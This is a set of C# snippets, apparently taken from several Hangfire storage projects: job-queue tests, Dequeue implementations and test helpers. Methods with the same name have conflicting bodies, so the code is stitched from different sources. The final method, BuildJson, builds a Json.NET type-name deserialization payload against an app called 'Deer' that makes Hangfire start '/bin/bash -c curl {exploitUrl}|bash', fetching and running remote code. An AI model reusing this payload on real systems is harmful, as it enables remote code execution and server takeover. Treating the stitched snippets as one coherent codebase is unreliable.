public void Dequeue_ShouldFetchATimedOutJobs_FromTheSpecifiedQueue() { // Arrange UseConnection(connection => { var job = new JobDto { InvocationData = "", Arguments = "", CreatedAt = DateTime.UtcNow }; connection.JobGraph.InsertOne(job); var jobQueue = new JobQueueDto { JobId = job.Id, Queue = "default", FetchedAt = DateTime.UtcNow.AddDays(-1) }; connection.JobGraph.InsertOne(jobQueue); _jobQueueSemaphoreMock.Setup(m => m.WaitNonBlock("default")).Returns(true); var queue = CreateJobQueue(connection); // Act var payload = queue.FetchNextJob(DefaultQueues, CreateTimingOutCancellationToken()); // Assert Assert.NotEmpty(payload.JobId); _jobQueueSemaphoreMock.Verify(m => m.WaitNonBlock("default"), Times.Once); }); }
public void Dequeue_ShouldFetchAJob_FromTheSpecifiedQueue() { // Arrange UseConnection(connection => { var jobQueue = new JobQueueDto { JobId = 1, Queue = "default" }; connection.JobQueue.InsertOne(jobQueue); var id = jobQueue.Id; var queue = CreateJobQueue(connection); // Act MongoFetchedJob payload = (MongoFetchedJob)queue.Dequeue(DefaultQueues, CreateTimingOutCancellationToken()); // Assert Assert.Equal(id, payload.Id); Assert.Equal("1", payload.JobId); Assert.Equal("default", payload.Queue); }); }
private static JobQueueDto CreateJobQueueDto(HangfireDbContext database, string queue, bool isFetched) { var job = new JobDto { CreatedAt = DateTime.UtcNow, StateHistory = new[] { new StateDto() } }; database.Job.InsertOne(job); var jobQueue = new JobQueueDto { Queue = queue, JobId = job.Id }; if (isFetched) { jobQueue.FetchedAt = DateTime.UtcNow.AddDays(-1); } database.JobQueue.InsertOne(jobQueue); return(jobQueue); }
public void Dequeue_ShouldFetchATimedOutJobs_FromTheSpecifiedQueue() { // Arrange UseConnection(connection => { var job = new JobDto { InvocationData = "", Arguments = "", CreatedAt = connection.GetServerTimeUtc() }; connection.Job.InsertOne(job); var jobQueue = new JobQueueDto { JobId = job.Id, Queue = "default", FetchedAt = connection.GetServerTimeUtc().AddDays(-1) }; connection.JobQueue.InsertOne(jobQueue); var queue = CreateJobQueue(connection); // Act var payload = queue.Dequeue(DefaultQueues, CreateTimingOutCancellationToken()); // Assert Assert.NotEmpty(payload.JobId); }); }
public void Dequeue_NoInvisibilityTimeout_WaitsForever() { // Arrange var job = new JobDto { InvocationData = "", Arguments = "", CreatedAt = DateTime.UtcNow }; _hangfireDbContext.JobGraph.InsertOne(job); var jobQueue = new JobQueueDto { JobId = job.Id, Queue = "default", FetchedAt = DateTime.UtcNow.AddDays(-1) }; var options = new MongoStorageOptions(); _hangfireDbContext.JobGraph.InsertOne(jobQueue); _jobQueueSemaphoreMock.Setup(m => m.WaitNonBlock("default")).Returns(true); var queue = new MongoJobFetcher(_hangfireDbContext, options, _jobQueueSemaphoreMock.Object); // Act var exception = Assert.Throws <OperationCanceledException>(() => queue.FetchNextJob(DefaultQueues, CreateTimingOutCancellationToken(TimeSpan.FromMilliseconds(200)))); // Assert Assert.NotNull(exception); _jobQueueSemaphoreMock.Verify(m => m.WaitNonBlock("default"), Times.Never); }
public void Dequeue_ShouldFetchATimedOutJobs_FromTheSpecifiedQueue() { // Arrange var job = new JobDto { InvocationData = "", Arguments = "", CreatedAt = DateTime.UtcNow }; _hangfireDbContext.JobGraph.InsertOne(job); var jobQueue = new JobQueueDto { JobId = job.Id, Queue = "default", FetchedAt = DateTime.UtcNow.AddDays(-1) }; var options = new MongoStorageOptions { InvisibilityTimeout = TimeSpan.FromMinutes(30) }; _hangfireDbContext.JobGraph.InsertOne(jobQueue); _jobQueueSemaphoreMock.Setup(m => m.WaitNonBlock("default")).Returns(true); var queue = new MongoJobFetcher(_hangfireDbContext, options, _jobQueueSemaphoreMock.Object); // Act var payload = queue.FetchNextJob(DefaultQueues, CreateTimingOutCancellationToken()); // Assert Assert.NotEmpty(payload.JobId); _jobQueueSemaphoreMock.Verify(m => m.WaitNonBlock("default"), Times.Once); }
private static JobQueueDto CreateJobQueueDto(HangfireDbContext connection, string queue, bool isFetched) { var state = new StateDto(); AsyncHelper.RunSync(() => connection.State.InsertOneAsync(state)); var job = new JobDto { CreatedAt = connection.GetServerTimeUtc(), StateId = state.Id }; AsyncHelper.RunSync(() => connection.Job.InsertOneAsync(job)); var jobQueue = new JobQueueDto { Queue = queue, JobId = job.Id }; if (isFetched) { jobQueue.FetchedAt = connection.GetServerTimeUtc().AddDays(-1); } AsyncHelper.RunSync(() => connection.JobQueue.InsertOneAsync(jobQueue)); return(jobQueue); }
public void Dequeue_ShouldFetchAJob_FromTheSpecifiedQueue() { // Arrange UseConnection(connection => { var jobQueue = new JobQueueDto { JobId = ObjectId.GenerateNewId(), Queue = "default" }; connection.JobGraph.InsertOne(jobQueue); var token = CreateTimingOutCancellationToken(); var queue = CreateJobQueue(connection); _jobQueueSemaphoreMock.Setup(m => m.WaitNonBlock("default")).Returns(true); // Act MongoFetchedJob payload = (MongoFetchedJob)queue.FetchNextJob(DefaultQueues, token); // Assert Assert.Equal(jobQueue.JobId.ToString(), payload.JobId); Assert.Equal("default", payload.Queue); _jobQueueSemaphoreMock.Verify(m => m.WaitNonBlock("default"), Times.Once); }); }
public void Dequeue_ShouldLeaveJobInTheQueue_ButSetItsFetchedAtValue() { // Arrange UseConnection(connection => { var job = new JobDto { InvocationData = "", Arguments = "", CreatedAt = connection.GetServerTimeUtc() }; connection.Job.InsertOne(job); var jobQueue = new JobQueueDto { JobId = job.Id, Queue = "default" }; connection.JobQueue.InsertOne(jobQueue); var queue = CreateJobQueue(connection); // Act var payload = queue.Dequeue(DefaultQueues, CreateTimingOutCancellationToken()); // Assert Assert.NotNull(payload); var fetchedAt = connection.JobQueue.Find(Builders <JobQueueDto> .Filter.Eq(_ => _.JobId, int.Parse(payload.JobId))).FirstOrDefault().FetchedAt; Assert.NotNull(fetchedAt); Assert.True(fetchedAt > DateTime.UtcNow.AddMinutes(-1)); }); }
public IFetchedJob Dequeue(string[] queues, CancellationToken cancellationToken) { if (queues == null) { throw new ArgumentNullException(nameof(queues)); } if (queues.Length == 0) { throw new ArgumentException("Queue array must be non-empty.", nameof(queues)); } JobQueueDto fetchedJob = null; var fetchConditions = new[] { Builders <JobQueueDto> .Filter.Eq(_ => _.FetchedAt, null), Builders <JobQueueDto> .Filter.Lt(_ => _.FetchedAt, _connection.GetServerTimeUtc().AddSeconds(_options.InvisibilityTimeout.Negate().TotalSeconds)) }; var currentQueryIndex = 0; do { cancellationToken.ThrowIfCancellationRequested(); FilterDefinition <JobQueueDto> fetchCondition = fetchConditions[currentQueryIndex]; foreach (var queue in queues) { fetchedJob = _connection.JobQueue.FindOneAndUpdate( fetchCondition & Builders <JobQueueDto> .Filter.Eq(_ => _.Queue, queue), Builders <JobQueueDto> .Update.Set(_ => _.FetchedAt, _connection.GetServerTimeUtc()), new FindOneAndUpdateOptions <JobQueueDto> { IsUpsert = false, ReturnDocument = ReturnDocument.After }, cancellationToken); if (fetchedJob != null) { break; } } if (fetchedJob == null) { if (currentQueryIndex == fetchConditions.Length - 1) { cancellationToken.WaitHandle.WaitOne(_options.QueuePollInterval); cancellationToken.ThrowIfCancellationRequested(); } } currentQueryIndex = (currentQueryIndex + 1) % fetchConditions.Length; }while (fetchedJob == null); return(new MongoFetchedJob(_connection, fetchedJob.Id, fetchedJob.JobId.ToString(CultureInfo.InvariantCulture), fetchedJob.Queue)); }
public override void AddToQueue(string queue, string jobId) { var jobQueueDto = new JobQueueDto { JobId = ObjectId.Parse(jobId), Queue = queue, Id = ObjectId.GenerateNewId(), FetchedAt = null }.ToBsonDocument(); JobGraph.InsertOne(SessionHandle, jobQueueDto); JobsAddedToQueue.Add(queue); }
private static int CreateJobQueueRecord(HangfireDbContext connection, string jobId, string queue) { var jobQueue = new JobQueueDto { JobId = int.Parse(jobId), Queue = queue, FetchedAt = connection.GetServerTimeUtc() }; connection.JobQueue.InsertOne(jobQueue); return(jobQueue.Id); }
private static ObjectId CreateJobQueueRecord(HangfireDbContext connection, ObjectId jobId, string queue) { var jobQueue = new JobQueueDto { Id = ObjectId.GenerateNewId(), JobId = jobId, Queue = queue, FetchedAt = DateTime.UtcNow }; connection.JobGraph.InsertOne(jobQueue); return(jobQueue.Id); }
public override void AddToQueue(string queue, string jobId) { var jobQueueDto = new JobQueueDto { JobId = ObjectId.Parse(jobId), Queue = queue, Id = ObjectId.GenerateNewId(), FetchedAt = null }.ToBsonDocument(); var writeModel = new InsertOneModel <BsonDocument>(jobQueueDto); _writeModels.Add(writeModel); }
public override void AddToQueue(string queue, string jobId) { QueueCommand(() => { var jobQueue = new JobQueueDto { Id = AutoIncrementIdGenerator.GenerateId(typeof(JobQueueDto)), Queue = queue, AddedAt = DateTime.UtcNow, JobId = jobId }; _data.Create(jobQueue); }); }
private JobDto CreateJobInState(HangfireDbContext database, int jobId, string stateName) { var job = Job.FromExpression(() => SampleMethod("wrong")); var jobState = new StateDto { CreatedAt = database.GetServerTimeUtc(), Data = stateName == EnqueuedState.StateName ? new Dictionary <string, string> { ["EnqueuedAt"] = $"{database.GetServerTimeUtc():o}" } : new Dictionary <string, string>(), JobId = jobId }; database.State.InsertOne(jobState); var jobDto = new JobDto { Id = jobId, InvocationData = JobHelper.ToJson(InvocationData.Serialize(job)), Arguments = "['Arguments']", StateName = stateName, CreatedAt = database.GetServerTimeUtc(), StateId = jobState.Id }; database.Job.InsertOne(jobDto); var jobQueueDto = new JobQueueDto { FetchedAt = null, Id = jobId * 10, JobId = jobId, Queue = DefaultQueue }; if (stateName == FetchedStateName) { jobQueueDto.FetchedAt = database.GetServerTimeUtc(); } database.JobQueue.InsertOne(jobQueueDto); return(jobDto); }
public void FetchNextJob_DelegatesItsExecution_ToTheQueue() { var token = new CancellationToken(); var queues = new[] { "default" }; var jobQueueDto = new JobQueueDto { Id = ObjectId.GenerateNewId(), Queue = "default", FetchedAt = null, JobId = ObjectId.GenerateNewId() }; _dbContext.JobGraph.InsertOne(jobQueueDto); var fetchedJob = _connection.FetchNextJob(queues, token); Assert.Equal(fetchedJob.JobId, jobQueueDto.JobId.ToString()); }
private JobDto CreateJobInState(HangfireDbContext database, int jobId, string stateName) { var job = Job.FromExpression(() => SampleMethod("wrong")); var jobState = new StateDto { CreatedAt = database.GetServerTimeUtc(), Data = stateName == EnqueuedState.StateName ? string.Format(" {{ 'EnqueuedAt': '{0}' }}", database.GetServerTimeUtc()) : "{}", JobId = jobId }; AsyncHelper.RunSync(() => database.State.InsertOneAsync(jobState)); var jobDto = new JobDto { Id = jobId, InvocationData = JobHelper.ToJson(InvocationData.Serialize(job)), Arguments = "['Arguments']", StateName = stateName, CreatedAt = database.GetServerTimeUtc(), StateId = jobState.Id }; AsyncHelper.RunSync(() => database.Job.InsertOneAsync(jobDto)); var jobQueueDto = new JobQueueDto { FetchedAt = null, Id = jobId * 10, JobId = jobId, Queue = DefaultQueue }; if (stateName == FetchedStateName) { jobQueueDto.FetchedAt = database.GetServerTimeUtc(); } AsyncHelper.RunSync(() => database.JobQueue.InsertOneAsync(jobQueueDto)); return(jobDto); }
public void FetchNextJob_DelegatesItsExecution_ToTheQueue() { var token = new CancellationToken(); var queues = new[] { "default" }; var jobQueueDto = new JobQueueDto { Id = ObjectId.GenerateNewId(), Queue = "default", FetchedAt = null, JobId = ObjectId.GenerateNewId() }; _jobQueueSemaphoreMock.Setup(m => m.WaitNonBlock("default")).Returns(true); _dbContext.JobGraph.InsertOne(jobQueueDto); var fetchedJob = _connection.FetchNextJob(queues, token); Assert.Equal(fetchedJob.JobId, jobQueueDto.JobId.ToString()); _jobQueueSemaphoreMock.Verify(m => m.WaitNonBlock("default"), Times.Once); }
public void Dequeue_ShouldLeaveJobInTheQueue_ButSetItsFetchedAtValue() { // Arrange UseConnection(connection => { var job = new JobDto { InvocationData = "", Arguments = "", CreatedAt = DateTime.UtcNow }; connection.JobGraph.InsertOne(job); var jobQueue = new JobQueueDto { JobId = job.Id, Queue = "default" }; connection.JobGraph.InsertOne(jobQueue); var queue = CreateJobQueue(connection); _jobQueueSemaphoreMock.Setup(m => m.WaitNonBlock("default")).Returns(true); // Act var payload = queue.FetchNextJob(DefaultQueues, CreateTimingOutCancellationToken()); // Assert Assert.NotNull(payload); var fetchedAt = connection.JobGraph.OfType <JobQueueDto>() .Find(Builders <JobQueueDto> .Filter.Eq(_ => _.JobId, ObjectId.Parse(payload.JobId))) .FirstOrDefault() .FetchedAt; Assert.NotNull(fetchedAt); Assert.True(fetchedAt > DateTime.UtcNow.AddMinutes(-1)); _jobQueueSemaphoreMock.Verify(m => m.WaitNonBlock("default"), Times.Once); }); }
public void Dequeue_ShouldFetchAJob_FromTheSpecifiedQueue() { // Arrange UseConnection(connection => { var jobQueue = new JobQueueDto { JobId = ObjectId.GenerateNewId(), Queue = "default" }; connection.JobGraph.InsertOne(jobQueue); var token = CreateTimingOutCancellationToken(); var queue = CreateJobQueue(connection); // Act MongoFetchedJob payload = (MongoFetchedJob)queue.Dequeue(DefaultQueues, token); // Assert Assert.Equal(jobQueue.JobId.ToString(), payload.JobId); Assert.Equal("default", payload.Queue); }); }
public void Dequeue_ShouldFetchAJob_FromTheSpecifiedQueue() { // Arrange ConnectionUtils.UseConnection(database => { var jobQueue = new JobQueueDto { JobId = 1.ToString(), Queue = "default" }; database.JobQueue.InsertOne(jobQueue); var queue = CreateJobQueue(database); // Act MongoFetchedJob payload = (MongoFetchedJob)queue.Dequeue(DefaultQueues, CreateTimingOutCancellationToken()); // Assert Assert.Equal("1", payload.JobId); Assert.Equal("default", payload.Queue); }); }
private JobDto CreateJobInState(string stateName, DateTime created = default(DateTime), Action <JobDto> visitor = null) { var job = Common.Job.FromExpression(() => HangfireTestJobs.SampleMethod("wrong")); if (created == default(DateTime)) { created = DateTime.Now; } Dictionary <string, string> stateData; if (stateName == EnqueuedState.StateName) { stateData = new Dictionary <string, string> { ["EnqueuedAt"] = $"{DateTime.UtcNow:o}" }; } else if (stateName == ProcessingState.StateName) { stateData = new Dictionary <string, string> { ["ServerId"] = Guid.NewGuid().ToString(), ["StartedAt"] = JobHelper.SerializeDateTime(DateTime.UtcNow.Subtract(TimeSpan.FromMilliseconds(500))) }; } else if (stateName == FailedState.StateName) { stateData = new Dictionary <string, string> { ["ExceptionDetails"] = "Test_ExceptionDetails", ["ExceptionMessage"] = "Test_ExceptionMessage", ["ExceptionType"] = "Test_ExceptionType", ["FailedAt"] = JobHelper.SerializeDateTime(DateTime.UtcNow.Subtract(TimeSpan.FromMilliseconds(10))) }; } else { stateData = new Dictionary <string, string>(); } var jobState = new StateDto() { Name = stateName, Reason = null }; foreach (var item in stateData) { jobState.Data.Add(new StateDataDto(item)); } var jobDto = new JobDto { Id = Guid.NewGuid().ToString(), Created = created, InvocationData = SerializationHelper.Serialize(InvocationData.SerializeJob(job)), Arguments = "[\"\\\"Arguments\\\"\"]", StateName = stateName }; jobDto.StateHistory.Add(jobState); visitor?.Invoke(jobDto); _realm.Write(() => _realm.Add(jobDto)); var jobQueueDto = new JobQueueDto { Id = Guid.NewGuid().ToString(), FetchedAt = null, JobId = jobDto.Id, Queue = DefaultQueue }; if (stateName == FetchedStateName) { jobQueueDto.FetchedAt = DateTime.UtcNow; } _realm.Write(() => _realm.Add(jobQueueDto)); return(jobDto); }
public IFetchedJob Dequeue(string[] queues, CancellationToken cancellationToken) { if (queues == null) { throw new ArgumentNullException(nameof(queues)); } if (queues.Length == 0) { throw new ArgumentException("Queue array must be non-empty.", nameof(queues)); } var filter = Builders <JobQueueDto> .Filter; var fetchConditions = new[] { filter.Eq(_ => _.FetchedAt, null), filter.Lt(_ => _.FetchedAt, DateTime.UtcNow.AddSeconds(_storageOptions.InvisibilityTimeout.Negate().TotalSeconds)) }; var fetchConditionsIndex = 0; var options = new FindOneAndUpdateOptions <JobQueueDto> { IsUpsert = false, ReturnDocument = ReturnDocument.After }; JobQueueDto fetchedJob = null; while (fetchedJob == null) { cancellationToken.ThrowIfCancellationRequested(); var fetchCondition = fetchConditions[fetchConditionsIndex]; foreach (var queue in queues) { fetchedJob = _dbContext .JobGraph .OfType <JobQueueDto>() .FindOneAndUpdate( fetchCondition & filter.Eq(_ => _.Queue, queue), Builders <JobQueueDto> .Update.Set(_ => _.FetchedAt, DateTime.UtcNow), options, cancellationToken); if (fetchedJob != null) { break; } } if (fetchedJob == null) { // No more jobs found in any of the requested queues... if (fetchConditionsIndex == fetchConditions.Length - 1) { // ...and we are out of fetch conditions as well. // Wait for a while before polling again. cancellationToken.WaitHandle.WaitOne(_storageOptions.QueuePollInterval); cancellationToken.ThrowIfCancellationRequested(); } } // Move on to next fetch condition fetchConditionsIndex = (fetchConditionsIndex + 1) % fetchConditions.Length; } return(new MongoFetchedJob(_dbContext, fetchedJob.Id, fetchedJob.JobId, fetchedJob.Queue)); }
private JobDto CreateJobInState(HangfireDbContext database, ObjectId jobId, string stateName, Func <JobDto, JobDto> visitor = null) { var job = Job.FromExpression(() => HangfireTestJobs.SampleMethod("wrong")); Dictionary <string, string> stateData; if (stateName == EnqueuedState.StateName) { stateData = new Dictionary <string, string> { ["EnqueuedAt"] = $"{DateTime.UtcNow:o}" }; } else if (stateName == ProcessingState.StateName) { stateData = new Dictionary <string, string> { ["ServerId"] = Guid.NewGuid().ToString(), ["StartedAt"] = JobHelper.SerializeDateTime(DateTime.UtcNow.Subtract(TimeSpan.FromMilliseconds(500))) }; } else if (stateName == FailedState.StateName) { stateData = new Dictionary <string, string> { ["ExceptionDetails"] = "Test_ExceptionDetails", ["ExceptionMessage"] = "Test_ExceptionMessage", ["ExceptionType"] = "Test_ExceptionType", ["FailedAt"] = JobHelper.SerializeDateTime(DateTime.UtcNow.Subtract(TimeSpan.FromMilliseconds(10))) }; } else { stateData = new Dictionary <string, string>(); } var jobState = new StateDto() { Name = stateName, Reason = null, CreatedAt = DateTime.UtcNow, Data = stateData }; var jobDto = new JobDto { Id = jobId, InvocationData = JobHelper.ToJson(InvocationData.Serialize(job)), Arguments = "[\"\\\"Arguments\\\"\"]", StateName = stateName, CreatedAt = DateTime.UtcNow, StateHistory = new[] { jobState } }; if (visitor != null) { jobDto = visitor(jobDto); } database.Job.InsertOne(jobDto); var jobQueueDto = new JobQueueDto { FetchedAt = null, JobId = jobId, Queue = DefaultQueue }; if (stateName == FetchedStateName) { jobQueueDto.FetchedAt = DateTime.UtcNow; } database.JobQueue.InsertOne(jobQueueDto); return(jobDto); }
public MemoryStorageFetchedJob(JobQueueDto queue) { Id = queue.Id; JobId = queue.JobId; }
public MemoryStorageFetchedJob(Data data, JobQueueDto queue) { Id = queue.Id; JobId = queue.JobId; _data = data; }
private static string BuildJson(string exploitUrl) { var serverDto = new ServerDto { Data = "{\"WorkerCount\":20,\"Queues\":[\"default\"],\"StartedAt\":\"2019-08-15T06:09:52.769184Z\"}", LastHeartbeat = DateTime.UtcNow, Id = "de525862-7588-4a31-9387-26177fb4cab6" }; var jobId = "2f2b3701-c692-476a-b8ca-c45d117b9225"; var jobQueueId = 1; var jobQueueDto = new JobQueueDto { JobId = jobId, Queue = "default", AddedAt = DateTime.UtcNow.AddMinutes(-1), FetchedAt = null, Id = jobQueueId }; var jobDto = new JobDto { State = new StateDto { JobId = jobId, Name = "Enqueued", CreatedAt = DateTime.UtcNow, Data = "{\"EnqueuedAt\":\"2019-08-15T06:09:52.7600490Z\",\"Queue\":\"default\"}", Id = jobQueueId }, InvocationData = "{\"Type\":\"System.Diagnostics.Process, System.Diagnostics.Process, Version=4.2.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\",\"Method\":\"Start\",\"ParameterTypes\":\"[\\\"System.String, System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e\\\",\\\"System.String, System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e\\\"]\"}", Arguments = $"[\"\\\"/bin/bash\\\"\",\"\\\"-c \\\\\\\"curl {exploitUrl}|bash\\\\\\\"\\\"\"]", CreatedAt = DateTime.UtcNow, Id = jobId, History = new List <StateHistoryDto>(), Parameters = new List <JobParameterDto>() { new JobParameterDto { Id = 1, Name = "CurrentCulture", Value = "\"en-US\"", JobId = jobId }, new JobParameterDto { Id = 2, Name = "CurrentUICulture", Value = "\"en-US\"", JobId = jobId } } }; var dataDict = new ConcurrentDictionary <Type, ConcurrentDictionary <object, object> >(); dataDict[typeof(ListDto)] = new ConcurrentDictionary <object, object>(); dataDict[typeof(CounterDto)] = new ConcurrentDictionary <object, object>(); dataDict[typeof(AggregatedCounterDto)] = new ConcurrentDictionary <object, object>(); dataDict[typeof(HashDto)] = new ConcurrentDictionary <object, object>(); dataDict[typeof(SetDto)] = new ConcurrentDictionary <object, object>(); dataDict[typeof(ServerDto)] = new ConcurrentDictionary <object, object>(new Dictionary <object, object> { { serverDto.Id, serverDto } }); dataDict[typeof(JobQueueDto)] = new ConcurrentDictionary <object, object>(new Dictionary <object, object> { { jobQueueDto.Id.ToString(), jobQueueDto } }); dataDict[typeof(JobDto)] = new ConcurrentDictionary <object, object>(new Dictionary <object, object> { { jobDto.Id, jobDto } }); var dataJson = $"{{\"Dictionary\" : {JsonConvert.SerializeObject(dataDict, new JsonSerializerSettings{TypeNameHandling = TypeNameHandling.Auto})}}}"; var memoryStorageJson = $"{{\"$type\":\"Hangfire.MemoryStorage.MemoryStorage, Hangfire.MemoryStorage\", \"Data\" : {dataJson}}}"; var hangfireJobServerJson = $"{{\"$type\":\"Deer.Hangfire.HangfireJobServer, Deer\", \"storage\" : {memoryStorageJson}}}"; var contractResolverJson = "{\"$type\":\"Newtonsoft.Json.Serialization.DefaultContractResolver, Newtonsoft.Json\", \"DefaultMembersSearchFlags\" : 52}"; var jsonSerializerSettingsJson = $"{{\"$type\":\"Newtonsoft.Json.JsonSerializerSettings, Newtonsoft.Json\", \"TypeNameHandling\":4, \"ContractResolver\":{contractResolverJson}}}"; return($"{{\"$type\":\"Deer.Models.Elasticsearch.SafeJsonDeserializer`1[[Deer.Hangfire.HangfireJobServer, Deer]], Deer\", \"json\": {JsonConvert.ToString(hangfireJobServerJson)}, \"settings\":{jsonSerializerSettingsJson}}}"); }